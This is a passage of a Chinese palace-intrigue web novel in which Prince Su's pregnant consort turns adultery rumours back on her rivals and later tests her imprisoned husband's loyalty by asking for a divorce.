一时之间,许多人在背后嚼舌根,谣传肃王妃有奸情云云。 飞霜气得脸蛋通红,两条眉毛一拧,“主子,那些宫人说得有多难听,下次再让奴婢逮住,不论是谁,奴婢都要扇他们嘴巴。” “清者自清,我们如今住在慈宁宫,莫要生事。”云清婳拨弄着面前的琴弦,一派淡然。 “难道就放任旁人诬陷您?若是事情闹大,肃王府的名誉也会扫地。”飞霜捋起袖子,一副干仗的架势。 门忽地被打开,桂嬷嬷扶着太后进门。 “哀家倒是觉得小丫头说得没错。”太后慈祥地看着飞霜。 飞霜揉揉后脑勺,难为情地笑了。 “皇祖母,针对臣妾跟夫君的人太多,臣妾不敢轻举妄动。”云清婳长叹一声。 宫人敢在宫里大肆宣扬谣言,此事,就算不是皇后做的,也绝对跟皇后脱不了干系。 太后拉着云清婳的手,轻拍了拍,不屑地说:“有哀家在,你怕什么?皇后管不好后宫,自有哀家来管。” 云清婳在心中暗叹,不愧是上一届宫斗冠军! “若是皇上能看到臣妾的脉案,一切难题都迎刃而解。” 太后宠溺道:“哀家就照你说的做。” 黄昏时,皇上按照规矩来慈宁宫请安。 路过佛堂时,他看见了诵经的云清婳,忍不住多往她肚子瞟了两眼。 他自然也听到了云清婳怀有孽种的谣言,但是后宫之中女人的腌臜争斗他看多了,再加上云家家风清正,他多半是不信的。 可这会儿看到云清婳的肚皮,他迷茫了。 跟太后请安时,太后“不小心”将脉案掉了出来。 皇上定睛一看云清婳双胎的记载,心中的石头总算落地。 还好,皇家没有丑事发生! “双胎?”皇上捋着胡子,点点头,“这是吉兆啊!云家丫头是个好的。” 太后笑容和蔼,“这段日子可委屈清婳了。” “朕倒是要看看是哪个不长眼的在作妖!”他的语气很轻,眉头只是微微一沉,便倾泻出凌驾于众生之上的威严。 太后但笑不语。 隔壁的云清婳闻言,粉嫩的唇弯出了弧度。 近来,皇上责令谢泽修监工修建的摘星台完工,皇上请妃嫔、功臣登台赏景。 裴墨染跟苏灵音站在一起,而云清婳却站在太后身后,面容憔悴,黯然神伤。 不少人都猜测她失宠了。 几个宫女小声道:“莫不是肃王发现了奸情,所以冷落了王妃?” “不然呢?肚子这么大,却不住在肃王府,她肚子里的,定不是肃王的孩子。” “不会吧?毕竟是第一贵女,怎会这么不知廉耻?” 不少人的视线都在云清婳与裴墨染之间来回逡巡。 裴墨染自然也听说了谣传,但是他根本不在意。 蛮蛮那么爱他,她腹中的孩子,不是他的是谁的? 开台仪式举行完毕,皇上捏着香烛三拜各路神仙,然后率领众人登上摘星台。 云清婳扶着后腰,站在角落,并没有上去的打算。 她站在阴影中,摇了摇团扇。 “蛮蛮。”谢泽修柔声道。 云清婳眼神一亮,望着谢泽修的脸,她的眼神总会变得无限柔和。 他跟姐姐实在太像了。 “表哥。”她道。 谢泽修从袖中掏出图纸,“我知道你好奇心重,如今你身怀有孕,不方便登台,我给你讲解吧。” 云清婳颔首,她的眼中噙着戏谑,就像是猫在玩弄老鼠。 摘星台上,虞贵妃看到二人站在一起有说有笑,忽地,谢泽修搂着云清婳,二人进了旁边的偏殿。 她的瞳孔一震,莫大的欣喜冲刷着她的心脏,她激动得手都在颤。 啧! 有奸情,果然有奸情啊! 与此同时,皇后跟苏灵音也注意到了这一幕,二人眼底尽是幸灾乐祸。 “肃王妃呢?怎么不见她?她如今身怀有孕,可得宝贝着。”虞贵妃冷不丁道。 裴墨染、裴云澈猛地从皇上的问话中抽离,担忧地四处张望。 几个宫女立即下楼去寻。 少顷,一个太监走了上来,他苦着脸,吞吞吐吐,“肃王妃在……” “肃王妃在……” 虞贵妃咋舌,“为何吞吞吐吐?说啊,肃王妃怀着皇嗣,若有闪失,唯你是问!” 太监咬咬牙,心一横,“奴才,奴才方才看见谢将军搂着肃王妃去偏殿了。” 众人惊呼一声,然后不约而同看向裴墨染,眼神或同情或戏谑。 又一个看起来约莫十岁出头的宫女跪下,她吓得涕泪横流,“奴婢,奴婢听见偏殿里面传出怪声!呜呜呜……” 第160章 心脏看什么都脏,皇后啪啪打脸 虞贵妃激动的心脏快跳出胸腔,她压制住上扬的唇角,可依旧眉飞色舞,“什么怪声?你说清楚啊!” “奴婢听见王妃说了什么疼,一会儿又说什么痒之类的,还发出怪叫。” 众人倒吸了口凉气。 这就是在苟且,无疑了! 云家人面色阴沉,却不好开口辩驳。 裴墨染心急如焚,他恨不得立即冲去蛮蛮身边。 他递给贴身太监一个眼神,示意贴身太监去寻人。 虞贵妃突然跪下了,她脸庞坚毅,就像是在做冒天下之大不韪的壮举,“陛下,有些话臣妾早就想说了,肃王妃怀孕才六个月,肚子却如同八个月产妇!恐怕肃王妃早就红杏出墙!” “如今肃王妃与谢泽修在您眼皮子底下苟且偷情,这是没把您放在眼里,这二人践踏皇室尊严,根据律例应当腰斩啊。”虞贵妃义正言辞地说。 裴墨染拱手道:“父皇,王妃洁身自好,心性单纯,本王相信王妃。” 苏灵音扑通一声跪下,就像是拥有博大胸怀的神女,她言辞恳切道:“皇上,臣妾不信王妃会这么糊涂!亲眼看见之前,不能给王妃跟谢将军判死刑。” “走吧!”皇上剐了一眼虞贵妃,心中满是鄙夷。 一群人到了偏殿外。 里面果然传来云清婳的娇软婉转的声音。 “疼,好疼啊。” “别,别揉了!” 这声音,让人听了面红耳赤。 裴墨染的脸色比锅底还黑。 他自然相信蛮蛮,可蛮蛮或许被奸人下药了。 裴云澈跟他的想法一致。 二人交换眼神,已经在考虑如何调开众人,给云清婳保留体面了。 “天啊,王妃怎么可以,怎么可以对不住王爷?”苏灵音捂着嘴,瞪圆了眼,像是惊弓之鸟。 皇后更是一脸鄙夷,“还有必要进去看吗?千万别脏了皇上跟本宫的眼,肃王妃水性杨花,还请皇上废掉她的王妃之位,将她腰斩!” “王爷,王妃糊涂啊!枉妾身崇拜她多年,把她奉若神女。”苏灵音捂着胸口倒在裴墨染的怀里,像是遭受到莫大的背叛。 裴墨染火冒三丈,实在没忍住,他狠狠掀开苏灵音,“住口!” “墨染,你这是做什么?云清婳红杏出墙,你怎可拿灵音撒气?”皇后的眼中满是讥讽,幸灾乐祸地斥责。 她的表情就像在说:让你立灵音为正妃,你不答应,现在好了,被戴绿帽了! 太后一直默不作声。 皇上跟太后交换了个眼神,他心中对今日上蹿下跳的虞贵妃、皇后、苏灵音厌恶至极。 云丞相板着脸出列,他一身正气,恢宏清正的气场赫然袭来,让人肃然起敬。 “陛下,开门吧!微臣相信小女的为人,心脏的人才看什么都脏!”云丞相的表情十分鄙夷。 皇上颔首。 大门一开,只见谢泽修站在屏风前。 屏风后依旧传来云清婳跟猫似的呻吟。 “参见皇上。”谢泽修跪下叩首,脸上满是迷茫。 似乎不明白为何所有人都聚集在偏殿外。 虞贵妃、皇后、苏灵音见状呆住了。 “这是怎么回事?”皇后尖声呵斥,“肃王妃,你究竟在做什么?” 少顷,一位医女扶着云清婳一瘸一拐地出来了。 云清婳的脸上挂着汗珠,眼尾泛红,她福福身,“回禀皇后娘娘,方才臣妾脚崴了,险些摔倒,多亏谢将军扶臣妾到偏殿,请来了医女推拿。” “蛮蛮,还疼不疼?”裴墨染大步上前,他搂住她的腰身,躬身看着她的脚。 此话一出,众人这才明白闹了个乌龙。 所有人跟看笑话似的,鄙夷地盯着虞贵妃、皇后、苏灵音。 三人简直被啪啪打脸。 特别是虞贵妃,方才她言之凿凿,跟看见云清婳通奸似的,结果呢? 全是恶意揣测! 皇上厌恶地睨着皇后、虞贵妃、苏灵音,眼神中包含着失望。 德妃趁机呛声,“皇上,当时宫女说肃王妃喊疼,臣妾当时就想莫不是受伤了!真是莫名其妙,净把人往坏处想,就算让我猜一百遍,我也万万不会想出这个答案。” 言下之意便是,虞贵妃、皇后、苏灵音心黑。 皇后、虞贵妃的脸都绿了。 虞贵妃瞪了一眼德妃,她跪下,义正言辞道:“皇上,就算萧王妃没有苟且,可她才六个月身孕,为何肚子却像八个月的妇人?宫中早就传得沸沸扬扬,难免让人生疑啊。” “呜呜虞贵妃怎可空口白牙,污人清白?”云清婳的眼泪扑簌簌地掉,小脸透着愠怒。 “啧啧,肃王妃为何这般激动?不会真被本宫说中了吧?”虞贵妃似笑非笑的回怼。 “清者自清,臣妾不会多说一个字。”云清婳抽噎着,泪水颗颗坠落,惹人心疼。 “本王相信王妃。”裴墨染对云清婳露出信任的眼神。 苏灵音的脸上闪过奚落。 她真想再添一把火,但是她已经惹恼了皇上、裴墨染,不能再多嘴了。 “王妃不必苦恼,皇家血脉不容混淆,找太医一看便知。”皇后摆摆手,示意去请太医。 云清婳不卑不亢道:“皇后娘娘,臣妾是冤枉的,臣妾为何要迎合龌龊小人的心意,去自证清白?这对皇室对臣妾都是侮辱!” 在皇后看来,这是心虚的表现。 她的眼神透着鄙夷,“王妃,如今流言不断,你犹犹豫豫,究竟是为了什么?” 云清婳似是气得不轻,她捂着胸口,一副西子捧心的模样。 “愣着干什么?去传太医!”皇后瞥着云清婳,冷哼一声。 “够了!”皇上低吼,威严如同潮水席卷而来。 臣子、后妃纷纷跪地,大气不敢出。 “不必请太医了!”皇上掷地有声。 皇后、虞贵妃、苏灵音的脸上出现迷茫。 她们不明白,为何皇上要帮着云清婳。 “朕前几日无意中看了肃王妃的脉案,肃王妃怀了双胎!”皇上的眸子如鹰隼,狠狠瞪了皇后、虞贵妃一眼。 二人的脸色瞬间惨白,就像听到了噩耗。 “双胎乃是吉兆!恭喜陛下,恭喜肃王啊!”太监总管殷切地笑道。 就好像孩子是他的! 第161章 成为全天下最幸福的人 众人跟着道:“恭喜陛下,恭喜肃王!” 裴云澈的脸色发青,双手攥得咔咔作响。 “肃王妃,当赏!”皇上严厉阴沉的眉眼缓和了几分,但威严不减。 “谢陛下。”云清婳谢恩时,讥诮地看向苏灵音。 苏灵音的脸像是开了染坊,她差点维持不住单纯的外壳,又气又恨却又得笑,模样滑稽极了。 “蛮蛮!”裴墨染的眼中跳动着喜悦的光,他紧紧握住云清婳的手。 他的心脏加速,双臂颤抖,脑袋嗡嗡作响,像是被这个喜讯砸晕了。 双胎! 蛮蛮居然怀了双胎! 苏灵音磨着后槽牙。 贱人! 她凭什么能怀两个贱种? 皇上倏地面色又一沉,“皇后、虞贵妃身为后宫楷模,要好好爱护小辈、教养小辈啊。” 他的语气很轻,却像大山重重压在皇后、虞贵妃肩膀上。 二人点头如捣蒜,异口同声道:“是。” “德妃向来端庄得体,从不生事,走,随朕再登台看看风景。”他突然冲德妃伸出手。 德妃受宠若惊,抓住了皇上的手。 二人扬长而去。 明眼人都看得出来,皇上这是含沙射影,故意打皇后、虞贵妃的脸。 虽然皇上从头到尾没有点苏灵音的名字,但谁听不出皇上也讽刺了苏灵音没教养? 苏灵音的面皮通红,眼泪在眼眶打转。 …… 裴墨染送云清婳回了慈宁宫。 寝屋中,他内心澎湃,搂着她,在她脸颊上亲了又亲。 “蛮蛮,我们有两个孩子!这是极好的兆头!”他语无伦次地说着。 双胎在大昭意义非凡,这是入住东宫的筹码。 云清婳嫌弃地侧过脸,“方才她们诬陷我,您是不是信了?” 裴墨染脸上的喜色褪去,他正色道:“蛮蛮,你怎么会这么想?我自然是相信你的,我只是担心你被下药。” 她狐疑地瞥了他一眼,鼻子一怂,哼了一声。 裴墨染无奈,他在她心里就这么狭隘? 忽地,云清婳脚下一空,她被打横抱起。 “呀……您干什么?”她的面皮娇红,发出惊呼。 他将她平放在床榻上,为她褪去鞋袜,一对肉绵绵的脚放在他的膝盖上,他不轻不重地揉着她的脚心,“累不累?难怪你的脚肿得这么厉害,原来怀了两个。蛮蛮,你为何不跟我说?” 云清婳的眼睫下遮掩住了阴险。 当然是为了钓鱼执法啊。 她紧绷的身子逐渐放松下来,她打了个哈欠:“我怕成为众矢之的,不敢说出来。我们的第一个孩子就是怪我太张扬,才离开的。” 裴墨染的眸色黯淡,心口骤然一痛,“胡说!蛮蛮,不许乱想!要怪就怪赵婉宁黑心。” 她无声地叹息,“夫君,您是不是该回去陪苏灵音了?她若是多心该怎么办?” 他嘴角的笑弧扩大,眉宇间尽是畅快。 世事易变! 才短短几日,他陡然成为世上最幸福的人。 大皇子殁了,二皇子因为虐待苏夫人被贬去封地。 如今,他的真实身份才是父皇的嫡子、最年长的儿子! 而且蛮蛮还怀了双胎! 谁比他更有资格成为储君? “蛮蛮,这次我们真的柳暗花明了。”裴墨染答非所问,笑吟吟地说道。 云清婳的眼中闪过光亮,“为何这么说?” “我……”裴墨染的嘴张开又阖上,“因为你怀了双胎,皇室子嗣单薄,父皇必会高看我们一眼。” 诸葛军师说了,身世之谜不能泄出去。 事以密成! 尽管很想说给蛮蛮,但他还是决定压下。 云清婳在心里冷笑。 啧,她养了一只白眼狼啊。 她为了裴墨染精心谋划,可身世之谜,裴墨染都不敢说给她。 不论什么原因,他对她还是有所防备。 在他心里,她远远比不上皇位。 “我祝愿夫君心想事成。”云清婳嘴甜道。 怀孕着实累人,她阖上眼很快就睡了。 裴墨染净了手,本想在云清婳身边躺一会儿,可一醒来,天都黑了。 有她在,他总是很安心。 云清婳睡得正酣,脸蛋透着浅浅的粉,嘴里含糊不清的呓语:“唔……夫君……” 裴墨染饶有兴致的望着她。 蛮蛮嘴里叽里咕噜的说什么呢?听不清。 不管了,先亲一口。 他在她唇上落下一吻,依依不舍地起身,轻轻阖上了门。 贴身太监一脸嫌弃道:“王爷何时把王妃接回王府?苏侧妃在王府呼来喝去,都快变成女主人了!” 裴墨染的脸色骤然一寒,眼神泄出嫌弃,“再让她蹦跶几日。” …… 翊坤宫。 皇后气得差点咬碎银牙,她一把砸了手中的琉璃盏,“我们母子被人算计了啊!云清婳定是故意引皇上对本宫不满,这种贱人怎配怀双胎?真是养虎为患!” 裴云澈狭长的眸子微眯,面皮透出凉薄,“儿臣是嫡子,也是父皇膝下最年长的儿子,裴墨染这庶出的贱种,争得过吗?” 他的语气很慢,但手里摇折扇的速度,暴露了他内心的烦躁。 “不行,本宫还是不放心!云清婳这贱人,能怀上算什么本事?能生下来才算本事!”皇后的红唇勾出一抹狠厉。 “不!”裴云澈忽地提高了声音,他的手攥紧。“还请母后不要插手!儿臣自有对策。” 蛮蛮如今已经怀孕六个月,她体弱娇贵,若是流产,说不定会香消玉殒。 尽管他很想打掉这两个孽种,但他不敢拿蛮蛮的性命来赌。 皇后挑起左边的弯眉,眼中闪过复杂的神色。 云清婳真是好手段啊,竟引得他的两个儿子竞折腰! …… 晚上,裴云澈到慈宁宫请安。 他为人滴水不漏,足足陪太后说了半个时辰的话,临走前才提起给云清婳道贺的事。 并不会引得旁人怀疑。 他屏退宫人,兀自去了云清婳暂住的寝屋内。 屋内传出沉闷的抽噎声。 “主子,您这是何苦?倘若被皇上跟肃王发现,您的命不要了?”飞霜跺跺脚。 云清婳端着一碗药汁,哽咽道:“我不能给殿下添麻烦,我不能怀双胎,不能成为殿下的障碍!” “主子,孩子已经六个月了,此药服下,必会大出血,您挺不住的。”飞霜伸出手抢夺药碗,“您不能喝!把药给奴婢!会死人的!” “你别管我!我不能对不起殿下!哪怕死了,我也认命!”云清婳红着脸,拼命跟她争抢。 主仆二人一来一回地争抢,场面跟打斗似的。 飞霜一个没站稳,云清婳趁机抢过碗。 她抠着药碗边缘,转身就把药往嘴边送。 千钧一发之际,一道黑影冲进门中。 砰—— 瓷碗被打翻坠地,发出清脆的响声,黑乎乎的药汁撒了一地。 “蛮蛮,你疯了?”裴云澈的声音干涩。 “殿下?!”云清婳惊呼。 她慌忙转过身,“您走吧,我没脸见您!” 第162章 最后一次试探真心 飞霜趁机将门阖上,留给二人独处空间。 裴云澈从她身后抱着她,呼吸沉重,严肃道:“我说过,我不在乎!两个孩子而已,成不了我的阻碍!” 大不了,等蛮蛮生下孽种,统统弄死! “裴郎,我知道您的抱负,我不愿给您添麻烦,哪怕是一星一点麻烦,都让我好愧疚。”她的情绪渐渐平复。 裴云澈轻拍她的背,满眼深情地说:“若是失去你,我会痛苦一辈子!孰轻孰重,我还是分得清的。两个孩子罢了,我根本没放在眼里。” 感动吗? 感动个屁! 这是裴云澈权衡利弊之下的选择。 她乖顺地靠在他的怀中,“裴郎,您怎么来了?” “今日我总觉得不安,所以想来看看你,幸好我来了。”其实,裴云澈看见云清婳的反应,他很惊喜,也很感动。 他没有看错人! 妾心如君心,他怀疑过蛮蛮会因为双胎做出傻事。 事实果然如此。 “裴郎,蛮蛮真的不怕,那打胎药很温和的。”云清婳抽噎。 裴云澈的心像是被放进沸腾的锅子里熬煮,上上浮沉,胸口痛得发烧。 他打小在宫里长大,见识了许多后妃被下堕胎药,血崩而死。 “够了!蛮蛮,你再说,我就要生气了。”他斥道。 云清婳的眼睛湿漉漉的,像是受了天大的委屈。 裴云澈有些后悔,他为她揩去眼泪,哄道:“蛮蛮,我不是冲你。我已经有了万全之策,你放心吧。” “嗯。”云清婳的眼底闪过幸灾乐祸。 你的万全之策,可能会成为你的催命符啊。 …… 裴墨染回府后,并没有去清心阁。 苏灵音今日明显在针对云清婳,她犯了错,他若是还浓情蜜意,未免也太假了些。 于是,他去了魏娴那里。 说是临幸,他却什么都没有做,只是和衣而眠。 魏娴悄悄翻了个白眼。 男人对于她而言,就是助她怀上子嗣的工具。 裴墨染不传宗接代,来这里碍什么眼? “王爷,蛮蛮可还好?”她问了当下关心的问题。 裴墨染微微一愣,“嗯,蛮蛮怀了双胎。” “双胎?!”魏娴笑容灿烂,眼睛笑成了一对弯月牙,“恭喜王爷!” 太好了! 她跟蛮蛮有两个孩子了,日后她们稳妥了! 裴墨染盯着她看了好一会儿,确认这种真诚的笑是不掺杂质的。 但他很不爽。 魏娴高兴个什么劲?就好像孩子是她的! 他颇为防备地瞥了她一眼,自顾自的说:“蛮蛮跟本王感情甚笃,蛮蛮一心爱慕本王,不是旁人能插足的。” 魏娴:??? 他莫名其妙说什么呢? 癫公! “那是自然。”魏娴笑得牵强。 裴墨染又问了些关于云清婳的事情,比如她喜欢吃什么,喜欢什么物件,趣事之类的,见魏娴眼皮子快睁不开才命人熄灯。 他双手枕在脑后,出神地望着帐顶,嘴角勾出一抹阴鸷的笑。 鱼儿应该要上钩了! …… 另一边,清心阁中。 苏灵音狠狠甩了巧慧一耳光,“贱货!就是你撺掇我跟姑母设计云清婳,现在好了,惹得龙颜大怒不说,还让裴墨染厌恶我!” 巧慧捂着脸,低眉顺眼地掉眼泪,“奴婢也是想扳倒云清婳,谁知道她这么沉得住气,怀了双胎还隐忍不发。” “云清婳跟算计好了一般,聪明如我,居然掉进了圈套!你莫不是……”苏灵音上下打量着巧慧,眸光如毒蛇一般。 “不不不……奴婢十岁就签了卖身契,从小就在苏府长大啊。”巧慧的肩膀抖了抖。 她的鼻腔发出不屑的轻哼,“这倒也是,谅你也不敢背主。” …… 深夜,裴云澈在御书房外求见。 他递交了一份名单。 翌日,御史台的人便手持皇上的令牌,将裴墨染押入大牢。 一时之间,朝野上下谣传肃王贪污索贿,搜刮民脂民膏。 京城朝夕变了天,人心惶惶。 半数的百姓都不相信大昭战神会贪腐,可另外半数都狠狠唾骂裴墨染,甚至有人往偷偷肃王府、北镇抚司门口丢石子。 云清婳收到消息时,她正站在窗边侍弄花草。 “主子,听说裴云澈昨夜将一份贪污名单交去了御书房,他这是下定决心跟裴墨染撕破脸了。”飞霜的眼神透着鄙夷。 “因为裴云澈这狗贼,慌了啊。”她咔嚓一剪刀,剪去枝头上的花蕊。 “王爷被下了狱,可他手里明明攥着一张底牌……”飞霜脑袋一团乱麻,理不出思绪。 云清婳的粉嫩的唇瓣牵出笑弧,“那是因为他也在设局,苏灵音、裴云澈都被耍得团团转。” 苏灵音、裴云澈都是强有力的对手。 可他们二人有着同样的问题,那便是——轻敌! 他们打心底里都是看不起裴墨染的,再加上大昭重文轻武,所以他们对武夫有着天然的偏见。 但是他们混淆了一件事,无学识不等于无能。 …… 翊坤宫。 皇后、苏灵音都很震惊裴云澈的举动。 三人屏退宫人,在寝殿商议。 苏灵音的眼底蒙上了一层很薄的雾气,“表哥,不是说好暂且不动裴墨染吗?以此作为要挟,让他乖乖为您所用!您这步棋,着实冒进了啊。” 裴云澈脸庞温润,眉飞入鬓,俊美如谪仙,却倾泄出鄙夷、刻薄,“什么时候,轮得到你教本王做事了?” “呵,表妹总不会是动心了吧?嗯?” 苏灵音像是被甩了一巴掌,她屈辱地抿着唇。 皇后连忙维护道:“云澈,灵音若是动心怎会把名单交给你?只是,会不会太激进了?墨染毕竟跟你从小一起长大,二十三年的兄弟情啊。” “一条狗罢了,不是母后教儿臣的吗?”裴云澈一脸云淡风轻,神色透着凉薄,让人背后的汗毛竖起。 皇后、苏灵音的眸光同时颤动。 对啊,是一条狗。 可养了二十三年,就算是狗,也该有感情了。 “母后叫儿臣来,若是为了说这些,儿臣就退下了!儿臣忙着查贪腐,没空听您的慈母之心。”裴云澈讽刺一笑,转身离去。 他的身上透着前所未有的戾气跟癫狂。 他也不想跟裴墨染走到这一步,谁让他有了双胎呢? …… 暗无天日的地牢中。 牢门紧锁,裴墨染毫无生气地躺在木板床上,一言不发。 他是肃王,自然不会有人为难他。 忽的一道光晕照亮了逼仄的通道。 裴墨染的眼瞳霎时一亮。 蛮蛮! 一定是蛮蛮来看他了。 他想看看,面对即将失去一切的他,蛮蛮会是什么反应。 如若蛮蛮仍旧不离不弃,也不埋怨责怪他,他会记住她的“恩情”,日后的一切都跟她共享。 永不亏待她! 他阴暗地想,这是最后一次试探! 倘若蛮蛮不让他失望,他将毫无保留,全心全意待她。 第163章 夫君,和离吧 裴墨染立即起身,期待地望着监牢门口。 只见,一个清丽的身影提着灯笼款款走来,她的眼皮红肿,脸上还泛着湿润的泪痕。 裴墨染心中的火登时被浇熄。 怎么是她? “灵音?!”他惊讶地说。 苏灵音伸出手,纤细的腕从一根根铁杆穿过,“王爷!妾身不信您会受贿,一定是假的!” 裴墨染回握住她的手,眼神既有感动也有看不懂的情绪,“灵音,你不该来这里!快收拾行李,回苏家吧,母后会保你。” “不!我不要!就算是做乞丐,上街要饭,我也要陪着您!”她像是把心里话全都喊了出来,稚气中带着真诚。 地牢的士兵都不由得赞赏地看了苏灵音一眼。 这苏侧妃可真是有情有义啊。 “灵音……”裴墨染叹息中夹杂着无奈。 “王爷,您说过我是您的妻子,您有难,我怎能弃您而去?”苏灵音的眼泪像珍珠坠下。 她盘算好了,在裴墨染最脆弱最低谷的时候,她悄然出现,她会成为裴墨染心中的救赎。 贪污而已,皇上难道会把裴墨染杀头不成?他最多只是从此跟储君再也无缘罢了。 裴墨染的眉梢渐渐舒展,染上了柔情,“你与本王同甘共苦,你的心意,本王记住了!府中的妾室若是不想留下,你便替本王放她们离开吧。” 苏灵音哭得肩膀一抖一抖,看起来情深至极,她心疼地看着他:“是。” “王爷,您要好好照顾自己,好好用膳,好好睡觉,我相信您一定会沉冤昭雪的。” 裴墨染在心里冷笑。 演得真好啊! 不就是你把贪污名单给裴云澈的吗?装什么? “你这个傻丫头,地牢苦寒,你快回去吧,若是让人发现就不好了。”他的声线发涩低哑。 “嗯。”苏灵音一步三回头的离开了。 她在心中暗笑,还好,裴墨染没有怀疑她。 甚至还感动了。 裴墨染看着自己牵过苏灵音的手,登时觉得恶心。 他命人打来一盆水,洗了数遍,心里才舒坦。 接下来的三日,他一直在等云清婳的出现。 可云清婳皆未出现,这让他不由得失落,心里也胡乱猜测起来。 起初,他觉得蛮蛮是不是听到这个消息,打击太大,身子出了问题,才没来看他。 可听士兵说,肃王妃无恙,他的担心便化为不安。 蛮蛮莫不是相信他贪污,厌恶他了?亦或是,想要离开他? 他心里发着牢骚:不管什么原因,蛮蛮没来看他,就是蛮蛮的不对。 夜半,他都会从梦中惊醒,浑身汗涔涔。 这三日,他看惯了人情冷暖,睿王来嘲笑奚落他;皇后派人送过饭菜,却是裴云澈喜欢吃的鱼;其他皇子也来看过笑话…… …… 慈宁宫。 飞霜急得团团转,“主子,苏灵音都献过殷勤了,咱们是不是也该去了?要不然奴婢怕王爷多心!” “谁让这狗男人试探我?他活该!”云清婳扎了个水灵灵葡萄吃,“我就是要他惶恐,患得患失,这样才会珍惜。” 不然,裴墨染会觉得她的关爱、同甘共苦都是理所当然的! 相反,随便哪个陌生人在此刻献殷勤,他都会熨贴不已。 又过了七天,第十天时,云清婳提着灯笼来到了地牢。 毕竟在坐牢,裴墨染的衣食住行自然不可能与从前同日而语,他俊逸深邃的面孔稍显疲惫,眼睑下泛着淡淡的青黑,下巴上也长出了青色的胡茬。 尽管他背脊挺得笔直,正襟危坐在榻上,气质高贵,可还是显得落魄。 看到橘黄色的光亮,他灰败的眸子倏地被点亮。 “蛮蛮!”他难以置信地看着眼前的倩影,瞳孔地震。 裴墨染立即起身,走向监牢门口,他朝她伸出手,眼眸润泽。 云清婳满含情意地回望他,“夫君!” “蛮蛮……” 云清婳亮出了令牌,士兵竟直接开了锁,她一进门,裴墨染便激动地拥着她。 他第一次觉得蛮蛮的肚子这么碍事,居然害他不能好好抱抱蛮蛮。 云清婳感受到了裴墨染的悸动,他心跳如鼓点,双臂都在颤抖。 她也伸出手,轻拍他的背,眼神饱含着爱意以及怀念、不舍…… 裴墨染觉得她的眼神很奇怪,但当下顾不得这些。 “快坐,身子这么重,怎么还来地牢?身子有没有不舒服?孩子乖不乖?没有闹你吧?”他扶着她,向木板床走去,嘴里絮絮不止。 他看着简陋坚硬的床榻,立即将单薄的被褥叠了叠,然后扶着云清婳坐在褥子上。 看着狗男人这么殷勤这么刻意地讨好,云清婳心里闪过快意,更想虐他了。 谁让裴墨染试探她呢? 乖狗狗是不能试探主人的。 “哼!夫君不想见我?那我走咯?”她假装要起身。 裴墨染气笑了,他将她搂在怀里,捏着她的手心,“你怎么这么坏?明知道我想你。” “夫君的嘴巴真甜,不知道面对旁人是不是也是如此。”她酸溜溜地揶揄。 他心情大好,之前的不悦一扫而空。 “你说呢?我只对娘子如此。”他低下头,在她额上印下一吻。 云清婳的脑袋枕在他的胸口上,重心全倚在他怀里,她娇气地哼唧:“夫君都臭了。” 他的面皮登时红了,有些尴尬,“胡说!我每日都会擦洗。” 正是因为知道这个小妮子爱干净,怕她嫌弃,所以他每日都跟看守士兵拿乔,早晚擦洗两遍! “逗您玩呢。”她伸出手,轻抚他的面颊。 她的手很软,让他很舒服。 “夫君受苦了。”她凄楚又端庄地笑着,眼神感慨万分。 这不是心疼的眼神,更像是……道别。 裴墨染很是不安,“这算什么?当初在跟瓦剌人打仗,粮草没运来,我跟将士吃了两日的草根。” “呵……”她轻笑,眼底含着脉脉情意,“夫君英勇,我知道的。” “为何这么晚才来看我?”他转移话头。 云清婳沉默片刻,鼻尖红了,“我正想说呢。” 她从袖中拿出一封信。 “夫君,我们和离吧。” 第164章 裴墨染快碎了,出狱! 裴墨染的心咯噔一响,瞳孔地震。 他摇摇头,苍白地笑道:“你真是顽劣!这时候,还跟我开这种玩笑。” 她的眼泪啪嗒落下,表情无比认真,“不是玩笑,是真的!” “住口!”裴墨染如坠冰窟,他夺过休书撕了个粉碎。 他想要发脾气、怒吼、咆哮,想要跟她吵架。 可这一刻,他竟然无力得张不开嘴。 仿佛四肢被绑上了千斤重的石头,他被丢进了湖中,只能不断下沉。 “和离?蛮蛮,你没心肝!我朝思暮想都是你,你却想离开我?你怀着我们的孩子啊!”裴墨染眼底布满红血丝,声音喑哑。 他原以为,蛮蛮一定会跟他同甘共苦! 可却没想到是这个结果。 他以为他会豁达地放手,恨她、对她失望、报复她,可他的心好疼。 难道曾经的恩爱是假的? 蛮蛮可是这个世上唯一爱他的人啊。 他甚至想,只要蛮蛮收回方才的话,他可以装作没听见。 日后,太子妃之位依旧是她的。 云清婳伸出手,捧着他的脸,镇定得可怕,“这些日子为了您,我奔走辗转了许多大人的府邸,可所有人都告诉我,此事无解。” “……”裴墨染胸口闷得发烫,呼出的气似火烧。 就因为这个,所以她退缩了? “我求爹爹帮您,可全家人都劝我和离,说您很有可能会被圈禁在宗人府,后半生只能在里面度过。” “于是我去求了贤王,贤王答应我,只要我与夫君和离,他能让您走出地牢。”她平静地像在诉说别人的故事。 裴墨染登时愧疚不已,他居然误会蛮蛮了。 是他心思狭隘了! 他在试探蛮蛮的真心时,蛮蛮却挺着六个月的孕肚,双脚浮肿地为他四处奔走,甚至愿意委身于裴云澈! 他简直不是人! 他应该提前告诉蛮蛮的,这是他布的局,一个专门整治、打脸裴云澈的局! “蛮蛮,对不住,我……” 云清婳捂住他的嘴,“我知道的,我不怪夫君。我可以陪您吃苦,可我们的孩子不行!” “裴云澈卑鄙无耻!”他咬牙切齿,怒火在眼中熊熊燃烧。 “夫君,我们来世再续前缘吧。”她用手揩去眼泪。 裴墨染吻着她的眼皮,“怪我!怪我!蛮蛮,你信我,再等半个月,等御史台清查完毕好吗?有些事情,我都会说与你。” “您……”她似乎被惊醒,露出惊喜的表情。 裴墨染颔首。 这里人多眼杂,他不能说太多。 云清婳忽然嚎啕大哭,她狠狠捶着他的胸口,“您太过分了!太过分了!我不会原谅您!” 他任凭她打,愧疚地看着她,“蛮蛮,你别气,为了我不值得!你还怀着孩子呢。” “我讨厌您,您根本没信任过我,从来没有!”她崩溃地哭嚷。 裴墨染的心隐隐作痛,同时又感到熨贴,她的真情好似把他烫到了。 让他羞愧! “蛮蛮,都是我不对!你别生气,为了我不值得!”他的眼眸发热。 云清婳闹了一会儿,毕竟挺着大肚子,她见目的达到了,便冷着脸离开了。 裴墨染此刻应该恨透裴云澈了吧? 这足不足够让手足相残? 很快,云清婳找裴墨染和离之事不胫而走。 苏灵音接到皇后的消息时,她正悠悠地梳着头发,“其实,我挺佩服云清婳的,见势不妙,及时抽身,毫不拖泥带水。” “这般薄情寡义的女人,等王爷从牢里出来,不得狠狠地报复她?云清婳一下堂,您岂不是正妃了?”巧慧满脸都是喜色。 